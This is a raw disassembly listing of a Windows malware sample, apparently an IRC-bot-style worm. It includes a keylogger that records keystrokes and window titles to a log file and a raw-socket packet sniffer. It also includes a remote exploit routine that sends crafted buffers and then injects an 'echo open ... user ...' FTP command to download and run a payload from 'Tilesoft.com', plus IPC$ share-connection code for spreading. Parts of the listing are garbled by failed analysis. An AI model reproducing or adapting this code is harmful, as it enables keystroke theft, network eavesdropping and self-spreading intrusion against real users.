ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412D32 add esp, 14h loc_4020FA: ; CODE XREF: sub_401BD6+4FFj lea eax, [ebp+var_440] push eax call sub_40B151 push [ebp+var_BC] call sub_415295 pop ecx pop ecx push ebx call near ptr 3D0000h and edx, [ebp+var_75] ; CODE XREF: seg000:004022AFp ; seg000:0040244Ep sub_401BD6 endp ; sp-analysis failed in al, dx loc_40211D: ; DATA XREF: seg002:off_42F370o sub esp, 314h lea eax, [ebp-10h] push esi push eax call ds:dword_42105C ; GetLocalTime lea eax, [ebp-114h] push 104h push eax call near ptr 3D0000h xlat lea eax, [ebp-114h] push offset asc_423C30 ; "\\" push eax call sub_415BF0 lea eax, [ebp-114h] push offset aTilesoft_dll ; "Tilesoft.dll" push eax call sub_415BF0 lea eax, [ebp-114h] push offset aAb ; "ab" push eax call sub_415BC8 mov esi, eax add esp, 18h test esi, esi jnz short loc_402181 push 1 pop eax jmp short loc_4021F8 ; --------------------------------------------------------------------------- loc_402181: ; CODE XREF: seg000:0040217Aj movzx eax, word ptr [ebp-4] push dword ptr [ebp+8] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_415B76 push esi call sub_415B20 add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_4021F6 push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_423BEC push 200h push eax call sub_415A4A push 0 lea eax, [ebp-314h] push dword ptr [ebp+94h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_412D32 add esp, 24h loc_4021F6: ; CODE XREF: seg000:004021BDj xor eax, eax loc_4021F8: ; CODE XREF: seg000:0040217Fj pop esi leave retn ; --------------------------------------------------------------------------- loc_4021FB: ; DATA XREF: seg000:0040EC57o push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+8] push ebx push esi push edi and dword ptr [ebp-8DCh], 0 push 25h and dword ptr [ebp-4], 0 pop ecx mov esi, eax lea edi, [ebp-0DCh] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp-8D8h] rep stosd call ds:dword_43A300 ; GetForegroundWindow lea ecx, [ebp-48h] push 3Ch push ecx push eax mov [ebp-8], eax call ds:dword_43A314 ; GetWindowTextA mov ebx, 200h loc_402256: ; CODE XREF: seg000:004024C2j push 8 call ds:dword_421060 ; Sleep call ds:dword_43A300 ; GetForegroundWindow cmp eax, [ebp-8] jz short loc_4022DE lea ecx, [ebp-48h] push 3Ch push ecx push eax mov [ebp-8], eax call ds:dword_43A314 ; GetWindowTextA lea eax, [ebp-48h] push eax lea eax, [ebp-2DCh] push eax lea eax, [ebp-4DCh] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_4154CD sub esp, 84h lea esi, [ebp-0DCh] lea eax, [ebp-4DCh] push 25h pop ecx mov edi, esp push eax rep movsd call near ptr loc_402119+1 mov [ebp-4], eax push ebx lea eax, [ebp-2DCh] push 0 push eax call sub_415550 add esp, 0A4h lea eax, [ebp-4DCh] push ebx push 0 push eax call sub_415550 add esp, 0Ch loc_4022DE: ; CODE XREF: seg000:00402267j mov dword ptr [ebp+8], offset aB ; "b" loc_4022E5: ; CODE XREF: seg000:004024B8j push 10h call ds:dword_43A258 ; GetKeyState movsx esi, ax mov eax, [ebp+8] mov edi, [eax-4] push edi call ds:dword_43A344 ; GetAsyncKeyState test ah, 80h jz short loc_40237D push 14h call ds:dword_43A258 ; GetKeyState test ax, ax jz short loc_40232E cmp esi, 0FFFFFFFFh jle short loc_40232E cmp edi, 40h jle short loc_40232E cmp edi, 5Bh jge short loc_40232E mov dword ptr [ebp+edi*4-8DCh], 1 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_40232E: ; CODE XREF: seg000:0040230Dj ; seg000:00402312j ... push 14h call ds:dword_43A258 ; GetKeyState test ax, ax jz short loc_402359 test esi, esi jge short loc_40236D cmp edi, 40h jle short loc_402359 cmp edi, 5Bh jge short loc_402359 mov dword ptr [ebp+edi*4-8DCh], 2 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_402359: ; CODE XREF: seg000:00402339j ; seg000:00402342j ... test esi, esi jge short loc_40236D mov dword ptr [ebp+edi*4-8DCh], 3 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_40236D: ; CODE XREF: seg000:0040233Dj ; seg000:0040235Bj mov dword ptr [ebp+edi*4-8DCh], 4 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_40237D: ; CODE XREF: seg000:00402300j mov esi, [ebp+edi*4-8DCh] lea eax, [ebp+edi*4-8DCh] test esi, esi jz loc_4024AD and dword ptr [eax], 0 lea eax, [ebp-2DCh] cmp edi, 8 push eax jnz short loc_4023B5 call sub_415CD0 and byte ptr [ebp+eax-2DDh], 0 pop ecx jmp loc_4024AD ; --------------------------------------------------------------------------- loc_4023B5: ; CODE XREF: seg000:004023A0j call sub_415CD0 cmp eax, 1B9h pop ecx jbe short loc_4023E7 call ds:dword_43A300 ; GetForegroundWindow lea ecx, [ebp-48h] push 3Ch push ecx push eax call ds:dword_43A314 ; GetWindowTextA lea eax, [ebp-48h] push eax lea eax, [ebp-2DCh] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_402428 ; --------------------------------------------------------------------------- loc_4023E7: ; CODE XREF: seg000:004023C0j cmp edi, 0Dh jnz loc_40247F lea eax, [ebp-2DCh] push eax call sub_415CD0 test eax, eax pop ecx jz loc_4024AD call ds:dword_43A300 ; GetForegroundWindow lea ecx, [ebp-48h] push 3Ch push ecx push eax call ds:dword_43A314 ; GetWindowTextA lea eax, [ebp-48h] push eax lea eax, [ebp-2DCh] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_402428: ; CODE XREF: seg000:004023E5j lea eax, [ebp-4DCh] push eax call sub_4154CD sub esp, 84h lea esi, [ebp-0DCh] lea eax, [ebp-4DCh] push 25h pop ecx mov edi, esp push eax rep movsd call near ptr loc_402119+1 mov [ebp-4], eax push ebx lea eax, [ebp-2DCh] push 0 push eax call sub_415550 add esp, 0A4h lea eax, [ebp-4DCh] push ebx push 0 push eax call sub_415550 add esp, 0Ch jmp short loc_4024AD ; --------------------------------------------------------------------------- loc_40247F: ; CODE XREF: seg000:004023EAj cmp esi, 1 jz short loc_402498 cmp esi, 3 jz short loc_402498 cmp esi, 2 jz short loc_402493 cmp esi, 4 jnz short loc_4024AD loc_402493: ; CODE XREF: seg000:0040248Cj push dword ptr [ebp+8] jmp short loc_40249F ; --------------------------------------------------------------------------- loc_402498: ; CODE XREF: seg000:00402482j ; seg000:00402487j mov eax, [ebp+8] add eax, 7 push eax loc_40249F: ; CODE XREF: seg000:00402496j lea eax, [ebp-2DCh] push eax call sub_415BF0 pop ecx pop ecx loc_4024AD: ; CODE XREF: seg000:00402329j ; seg000:00402354j ... add dword ptr [ebp+8], 14h cmp dword ptr [ebp+8], offset dword_423BB4 jl loc_4022E5 cmp dword ptr [ebp-4], 0 jz loc_402256 push dword ptr [ebp-0D8h] call sub_415295 pop ecx push 0 call near ptr 3D0000h jecxz short near ptr loc_40252F+3 mov ebp, esp mov eax, 102B4h call sub_415D50 mov edx, [ebp+8] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp-0B4h] pop ecx mov [ebp-8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h lea eax, [ebp-1Ch] push esi push eax call sub_415550 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push esi call ds:dword_43A378 ; ntohs push dword ptr [ebp-0B4h] mov [ebp-1Ah], ax loc_40252F: ; CODE XREF: seg000:004024DBj call sub_40A155 pop ecx push eax call ds:dword_43A3B8 ; inet_addr push esi push 3 push 2 mov [ebp-18h], eax call ds:dword_43A3F8 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-4], edi jnz short loc_4025B1 call ds:dword_43A30C ; WSAGetLastError push eax lea eax, [ebp-2B4h] push offset dword_42462C push eax call sub_4154CD add esp, 0Ch cmp [ebp-28h], esi jnz short loc_402594 push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_412D32 add esp, 14h loc_402594: ; CODE XREF: seg000:00402572j lea eax, [ebp-2B4h] push eax call sub_40B151 push dword ptr [ebp-30h] call sub_415295 pop ecx pop ecx push esi call near ptr 3D0000h cdq loc_4025B1: ; CODE XREF: seg000:00402552j mov eax, [ebp-30h] push 10h imul eax, 234h mov ds:dword_43F514[eax], edi lea eax, [ebp-1Ch] push eax push edi call ds:dword_43A3A4 ; bind cmp eax, 0FFFFFFFFh jnz short near ptr loc_402635+1 call ds:dword_43A30C ; WSAGetLastError push eax lea eax, [ebp-2B4h] push offset unk_4245E4 push eax call sub_4154CD add esp, 0Ch cmp [ebp-28h], esi jnz short loc_402612 push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_412D32 add esp, 14h loc_402612: ; CODE XREF: seg000:004025F0j lea eax, [ebp-2B4h] push eax call sub_40B151 pop ecx push edi call ds:dword_43A410 ; closesocket push dword ptr [ebp-30h] call sub_415295 pop ecx push esi call near ptr 3D0000h loc_402635: ; CODE XREF: seg000:004025D0j adc al, 56h lea eax, [ebp-20h] push esi push eax push esi push esi lea eax, [ebp-8] push 4 push eax push 98000001h push edi call ds:dword_43A324 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short near ptr loc_4026B8+1 call ds:dword_43A30C ; WSAGetLastError push eax lea eax, [ebp-2B4h] push offset unk_424598 push eax call sub_4154CD add esp, 0Ch cmp [ebp-28h], esi jnz short loc_402695 push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_412D32 add esp, 14h loc_402695: ; CODE XREF: seg000:00402673j lea eax, [ebp-2B4h] push eax call sub_40B151 pop ecx push edi call ds:dword_43A410 ; closesocket push dword ptr [ebp-30h] call sub_415295 pop ecx push esi call near ptr 3D0000h loc_4026B8: ; CODE XREF: seg000:00402653j test eax, 3C90BB53h inc edx add [edi+0FFFFh], bh ; CODE XREF: seg000:004026F7j ; seg000:00402709j ... lea eax, [ebp-102B4h] push edi push esi push eax call sub_415550 add esp, 0Ch lea eax, [ebp-102B4h] push esi push edi push eax push dword ptr [ebp-4] call ds:dword_43A390 ; recv cmp eax, 0FFFFFFFFh jz loc_4027D1 cmp byte ptr [ebp-102ABh], 6 jnz short near ptr loc_4026BE+1 mov eax, [ebp-102A8h] cmp byte ptr [ebp-10293h], 18h mov [ebp-0Ch], eax jnz short near ptr loc_4026BE+1 lea eax, [ebp-1028Ch] push offset aPsniff ; "[PSNIFF]" push eax call sub_415AA0 pop ecx test eax, eax pop ecx jnz short near ptr loc_4026BE+1 mov eax, ebx xor edi, edi test eax, eax jz short near ptr loc_4026BE+1 mov [ebp+8], ebx loc_40272D: ; CODE XREF: seg000:00402748j push eax lea eax, [ebp-1028Ch] push eax call sub_415AA0 pop ecx test eax, eax pop ecx jnz short loc_40274F inc edi add dword ptr [ebp+8], 18h mov eax, [ebp+8] jnz short loc_40272D jmp near ptr loc_4026BE+1 ; --------------------------------------------------------------------------- loc_40274F: ; CODE XREF: seg000:0040273Ej lea eax, [ebp-1028Ch] push eax push dword ptr [ebp-102A0h] call ds:dword_43A2B4 ; ntohs movzx eax, ax push eax push dword ptr [ebp-0Ch] call ds:dword_43A404 ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, ds:dword_423CA4[eax*8] push ds:off_423C80[eax*4] lea eax, [ebp-2B4h] push offset unk_424544 push 200h push eax call sub_415A4A add esp, 1Ch cmp [ebp-28h], esi jnz short loc_4027BF push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_412D32 add esp, 14h loc_4027BF: ; CODE XREF: seg000:0040279Dj lea eax, [ebp-2B4h] push eax call sub_40B151 pop ecx jmp near ptr loc_4026BE+1 ; --------------------------------------------------------------------------- loc_4027D1: ; CODE XREF: seg000:004026EAj call ds:dword_43A30C ; WSAGetLastError push eax push offset unk_4244FC lea eax, [ebp-2B4h] push 200h push eax call sub_415A4A add esp, 10h cmp [ebp-28h], esi pop ebx jnz short loc_402817 push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_412D32 add esp, 14h loc_402817: ; CODE XREF: seg000:004027F5j lea eax, [ebp-2B4h] push eax call sub_40B151 pop ecx push dword ptr [ebp-4] call ds:dword_43A410 ; closesocket push dword ptr [ebp-30h] call sub_415295 pop ecx push esi call near ptr 3D0000h insd ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40283D proc near ; CODE XREF: sub_402988+440p var_5A4 = byte ptr -5A4h var_1A4 = byte ptr -1A4h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A4h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_14] push esi push eax call sub_415550 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_14], 2 push eax call ds:dword_4211D8 ; inet_addr mov [ebp+var_10], eax mov ax, ds:word_424F58 push eax call ds:dword_4211DC ; ntohs push esi push 1 push 2 mov [ebp+var_12], ax call ds:dword_4211E0 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jz loc_40295D lea eax, [ebp+var_14] push 10h push eax push edi call ds:dword_4211E4 ; connect cmp eax, 0FFFFFFFFh jz loc_40295D push esi lea eax, [ebp+var_5A4] push 400h push eax push edi call ds:dword_4211E8 ; recv mov esi, offset aTilesoft_com ; "Tilesoft.com" mov ebx, 190h push esi push esi push offset aSf_ ; "sf." push offset aSf ; "sf" push offset a78001 ; "78001" push offset dword_468974 push offset aEchoOpenSDEqEc ; "echo open %s %d >> eq&echo user %s %s >"... lea eax, [ebp+var_1A4] push ebx push eax call sub_415A4A add esp, 24h lea eax, [ebp+var_1A4] push 0 push eax call sub_415CD0 pop ecx push eax lea eax, [ebp+var_1A4] push eax push edi mov edi, ds:dword_4211EC call edi ; send cmp eax, 0FFFFFFFFh jz short loc_40295D push 1F4h call ds:dword_421060 ; Sleep push esi push offset dword_425050 lea eax, [ebp+var_1A4] push ebx push eax call sub_415A4A add esp, 10h lea eax, [ebp+var_1A4] push 0 push eax call sub_415CD0 pop ecx push eax lea eax, [ebp+var_1A4] push eax push [ebp+var_4] call edi ; send cmp eax, 0FFFFFFFFh jnz short loc_402961 loc_40295D: ; CODE XREF: sub_40283D+54j ; sub_40283D+6Aj ... xor al, al jmp short loc_402983 ; --------------------------------------------------------------------------- loc_402961: ; CODE XREF: sub_40283D+11Ej push 0 lea eax, [ebp+var_5A4] push 400h push eax push [ebp+var_4] call ds:dword_4211E8 ; recv push [ebp+var_4] call ds:dword_4211F0 ; closesocket mov al, 1 loc_402983: ; CODE XREF: sub_40283D+122j pop edi pop esi pop ebx leave retn sub_40283D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402988 proc near ; CODE XREF: sub_402DDD+11Bp ; sub_402DDD+13Dp var_89B0 = byte ptr -89B0h var_8948 = byte ptr -8948h var_68D8 = byte ptr -68D8h var_6868 = byte ptr -6868h var_5DA4 = byte ptr -5DA4h var_4800 = byte ptr -4800h var_47FF = byte ptr -47FFh var_376C = byte ptr -376Ch var_2CA8 = byte ptr -2CA8h var_2CA7 = byte ptr -2CA7h var_2CA4 = byte ptr -2CA4h var_2C28 = byte ptr -2C28h var_2458 = byte ptr -2458h var_1FAD = byte ptr -1FADh var_1CC0 = byte ptr -1CC0h var_14DC = byte ptr -14DCh var_14CC = byte ptr -14CCh var_11A8 = byte ptr -11A8h var_11A4 = byte ptr -11A4h var_1198 = byte ptr -1198h var_F10 = byte ptr -0F10h var_E70 = byte ptr -0E70h var_764 = dword ptr -764h var_754 = byte ptr -754h var_740 = byte ptr -740h var_100 = byte ptr -100h var_FF = byte ptr -0FFh var_B0 = byte ptr -0B0h var_AD = byte ptr -0ADh var_83 = byte ptr -83h var_81 = byte ptr -81h var_80 = byte ptr -80h var_38 = byte ptr -38h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B0h call sub_415D50 mov eax, ds:dword_4250D0 push ebx mov [ebp+var_10], eax mov eax, ds:dword_4250D4 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_38] push offset loc_4250C4 push eax call sub_4154CD add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_FF] loc_4029C5: ; CODE XREF: sub_402988+4Dj mov dl, [ebp+ecx+var_38] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_4029C5 push 60h lea eax, [ebp+var_B0] push offset dword_424B68 push eax call sub_4155B0 lea eax, [ebp+var_38] push eax call sub_415CD0 shl eax, 1 push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax call sub_4155B0 add esp, 1Ch lea eax, [ebp+var_38] push 9 push (offset aC+3) push eax call sub_415CD0 pop ecx lea eax, [ebp+eax*2+var_81] push eax call sub_4155B0 lea eax, [ebp+var_38] push eax call sub_415CD0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_AD] push eax call sub_4155B0 lea eax, [ebp+var_38] push eax call sub_415CD0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_83] push eax call sub_4155B0 mov ax, ds:word_424F58 add esp, 2Ch push eax call ds:dword_4211DC ; ntohs xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_424868 call sub_4155B0 add esp, 0Ch cmp [ebp+arg_C0], 0 jz loc_402B7F mov edi, 0DACh lea eax, [ebp+var_1CC0] push edi push 90h push eax call sub_415550 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea ebx, dword_424F98[eax] lea eax, [ebp+var_14DC] push ebx push eax call sub_4155B0 mov esi, offset loc_4247B8 push esi call sub_415CD0 push eax lea eax, [ebp+var_14CC] push esi push eax call sub_4155B0 push 4 lea eax, [ebp+var_11A8] push offset loc_4250BC push eax call sub_4155B0 push 4 lea eax, [ebp+var_11A4] push ebx push eax call sub_4155B0 add esp, 40h push esi call sub_415CD0 push eax lea eax, [ebp+var_1198] push esi push eax call sub_4155B0 add esp, 10h xor ecx, ecx lea eax, [ebp+var_47FF] loc_402B35: ; CODE XREF: sub_402988+1BFj mov dl, [ebp+ecx+var_1CC0] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, edi jl short loc_402B35 and [ebp+var_2CA8], 0 and [ebp+var_2CA7], 0 mov esi, 1C52h lea eax, [ebp+var_89B0] push esi push 31h push eax call sub_415550 push esi lea eax, [ebp+var_68D8] push 31h push eax call sub_415550 add esp, 18h jmp short loc_402BD6 ; --------------------------------------------------------------------------- loc_402B7F: ; CODE XREF: sub_402988+115j push 7D0h lea eax, [ebp+var_F10] push 90h push eax call sub_415550 mov esi, offset loc_4247B8 push esi call sub_415CD0 push eax lea eax, [ebp+var_E70] push esi push eax call sub_4155B0 lea eax, [ebp+var_10] push eax call sub_415CD0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_754] push eax call sub_4155B0 mov eax, ds:dword_424F98 add esp, 2Ch mov [ebp+var_764], eax loc_402BD6: ; CODE XREF: sub_402988+1F5j push 0E29h lea eax, [ebp+var_2CA4] push 31h push eax call sub_415550 movsx eax, [ebp+var_1] add esp, 0Ch add eax, 4 mov esi, ds:dword_4211EC push 0 push eax lea eax, [ebp+var_B0] push eax push [ebp+arg_BC] call esi ; send cmp eax, 0FFFFFFFFh jnz short loc_402C17 loc_402C10: ; CODE XREF: sub_402988+2C0j ; sub_402988+2EBj ... xor al, al jmp loc_402DD8 ; --------------------------------------------------------------------------- loc_402C17: ; CODE XREF: sub_402988+286j mov edi, ds:dword_4211E8 mov ebx, 640h push 0 lea eax, [ebp+var_740] push ebx push eax push [ebp+arg_BC] call edi ; recv push 0 push 68h push offset dword_424BCC push [ebp+arg_BC] call esi ; send cmp eax, 0FFFFFFFFh jz short loc_402C10 push 0 lea eax, [ebp+var_740] push ebx push eax push [ebp+arg_BC] call edi ; recv push 0 push 0A0h push offset dword_424C38 push [ebp+arg_BC] call esi ; send cmp eax, 0FFFFFFFFh jz short loc_402C10 push 0 lea eax, [ebp+var_740] push ebx push eax push [ebp+arg_BC] call edi ; recv cmp [ebp+arg_C0], 0 jz loc_402D43 push 68h lea eax, [ebp+var_89B0] push offset dword_424DF0 push eax call sub_4155B0 lea eax, [ebp+var_4800] push 1B5Ah push eax lea eax, [ebp+var_8948] push eax call sub_4155B0 push 70h lea eax, [ebp+var_68D8] push offset dword_424E5C push eax call sub_4155B0 lea eax, [ebp+var_376C] push 0A5Eh push eax lea eax, [ebp+var_6868] push eax call sub_4155B0 push 84h lea eax, [ebp+var_5DA4] push offset dword_424ED0 push eax call sub_4155B0 add esp, 3Ch lea eax, [ebp+var_89B0] push 0 push 10FCh push eax push [ebp+arg_BC] call esi ; send cmp eax, 0FFFFFFFFh jz loc_402C10 push 0 lea eax, [ebp+var_740] push ebx push eax push [ebp+arg_BC] call edi ; recv push 0 push 0FDCh lea eax, [ebp+var_68D8] jmp short loc_402D9B ; --------------------------------------------------------------------------- loc_402D43: ; CODE XREF: sub_402988+306j push 7Ch lea eax, [ebp+var_2CA4] push offset dword_424CDC push eax call sub_4155B0 lea eax, [ebp+var_F10] push 7D0h push eax lea eax, [ebp+var_2C28] push eax call sub_4155B0 push 90h lea eax, [ebp+var_2458] push offset off_424D5C push eax call sub_4155B0 add esp, 24h and [ebp+var_1FAD], 0 lea eax, [ebp+var_2CA4] push 0 push 0CF8h loc_402D9B: ; CODE XREF: sub_402988+3B9j push eax push [ebp+arg_BC] call esi ; send cmp eax, 0FFFFFFFFh jz loc_402C10 push 12Ch call ds:dword_421060 ; Sleep sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40283D add esp, 0BCh test al, al setnz al loc_402DD8: ; CODE XREF: sub_402988+28Aj pop edi pop esi pop ebx leave retn sub_402988 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402DDD proc near ; CODE XREF: seg000:00403E5Cp var_858 = byte ptr -858h var_814 = byte ptr -814h var_218 = byte ptr -218h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h push ebp mov ebp, esp sub esp, 858h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp+var_18] push edi push eax mov [ebp+var_8], edi call sub_415550 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_18], 2 push eax call ds:dword_4211D8 ; inet_addr push [ebp+arg_A0] mov [ebp+var_14], eax call ds:dword_4211DC ; ntohs push 6 push 1 push 2 mov [ebp+var_16], ax call ds:dword_4211E0 ; socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+var_4], esi jz loc_402EDA lea eax, [ebp+var_18] push 10h push eax push esi call ds:dword_4211E4 ; connect cmp eax, 0FFFFFFFFh jz loc_402EDA mov ebx, ds:dword_4211EC push edi push 89h push offset dword_424950 push esi call ebx ; send cmp eax, 0FFFFFFFFh jz short loc_402EDA push edi mov edi, 640h lea eax, [ebp+var_858] push edi push eax push esi mov esi, ds:dword_4211E8 call esi ; recv push 0 push 0A8h push offset dword_4249DC push [ebp+var_4] call ebx ; send cmp eax, 0FFFFFFFFh jz short loc_402EDA push 0 lea eax, [ebp+var_858] push edi push eax push [ebp+var_4] call esi ; recv push 0 push 0DEh push offset dword_424A88 push [ebp+var_4] call ebx ; send cmp eax, 0FFFFFFFFh jz short loc_402EDA mov ebx, [ebp+var_4] push 0 lea eax, [ebp+var_858] push edi push eax push ebx call esi ; recv movsx eax, [ebp+var_814] sub eax, 30h jz short loc_402EE5 dec eax jz short loc_402EE1 loc_402EDA: ; CODE XREF: sub_402DDD+57j ; sub_402DDD+6Dj ... xor eax, eax jmp loc_402F7F ; --------------------------------------------------------------------------- loc_402EE1: ; CODE XREF: sub_402DDD+FBj push 0 jmp short loc_402F09 ; --------------------------------------------------------------------------- loc_402EE5: ; CODE XREF: sub_402DDD+F8j push 2 push ebx sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_402988 add esp, 0C4h test al, al jnz short loc_402F29 push 1 loc_402F09: ; CODE XREF: sub_402DDD+106j push ebx lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402988 add esp, 0C4h test al, al jz short loc_402F30 loc_402F29: ; CODE XREF: sub_402DDD+128j mov [ebp+var_8], 1 loc_402F30: ; CODE XREF: sub_402DDD+14Aj push ebx call ds:dword_4211F0 ; closesocket cmp [ebp+var_8], 0 jz short loc_402F7C push 0 lea eax, [ebp+var_218] push [ebp+arg_B0] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_412D32 lea eax, [ebp+var_218] push eax call sub_40B151 mov eax, [ebp+arg_A8] add esp, 18h imul eax, 3Ch inc ds:dword_427308[eax] lea eax, dword_427308[eax] loc_402F7C: ; CODE XREF: sub_402DDD+15Ej push 1 pop eax loc_402F7F: ; CODE XREF: sub_402DDD+FFj pop edi pop esi pop ebx leave retn sub_402DDD endp ; --------------------------------------------------------------------------- push ebx push esi push edi lea esi, [esp+10h] sub esp, 0BCh mov dword ptr [esp+16Ch], 87h push 2Fh pop ecx mov edi, esp rep movsd call sub_4033CB push 2Fh lea esi, [esp+0D0h] pop ecx mov dword ptr [esp+16Ch], 1BDh mov edi, esp mov ebx, eax rep movsd call sub_403C8B add esp, 0BCh test ebx, ebx jnz short loc_402FD6 test eax, eax jz short loc_402FD9 loc_402FD6: ; CODE XREF: seg000:00402FD0j push 1 pop eax loc_402FD9: ; CODE XREF: seg000:00402FD4j pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402FDD proc near ; CODE XREF: sub_4033CB+28p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset aIpc ; "\\IPC$" lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_4255F4 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, ds:byte_438F9C push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi call ds:dword_421064 ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_415D7F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_415D7F mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_438F98 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call ds:dword_43A418 cmp eax, 5 mov ebx, 4C3h jz short loc_4030A1 cmp eax, ebx jnz short loc_4030AB loc_4030A1: ; CODE XREF: sub_402FDD+BEj push edi push edi push edi push esi call ds:dword_43A418 loc_4030AB: ; CODE XREF: sub_402FDD+C2j cmp eax, 5 jz short loc_4030B9 cmp eax, ebx jz short loc_4030B9 push 1 pop eax jmp short loc_4030BB ; --------------------------------------------------------------------------- loc_4030B9: ; CODE XREF: sub_402FDD+D1j ; sub_402FDD+D5j xor eax, eax loc_4030BB: ; CODE XREF: sub_402FDD+DAj pop edi pop esi pop ebx leave retn sub_402FDD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030C0 proc near ; CODE XREF: sub_4033CB+7Ap ; sub_4033CB+15Ap var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset aIpc ; "\\IPC$" lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_4255F4 ; "\\\\" lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, ds:byte_438F9C pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 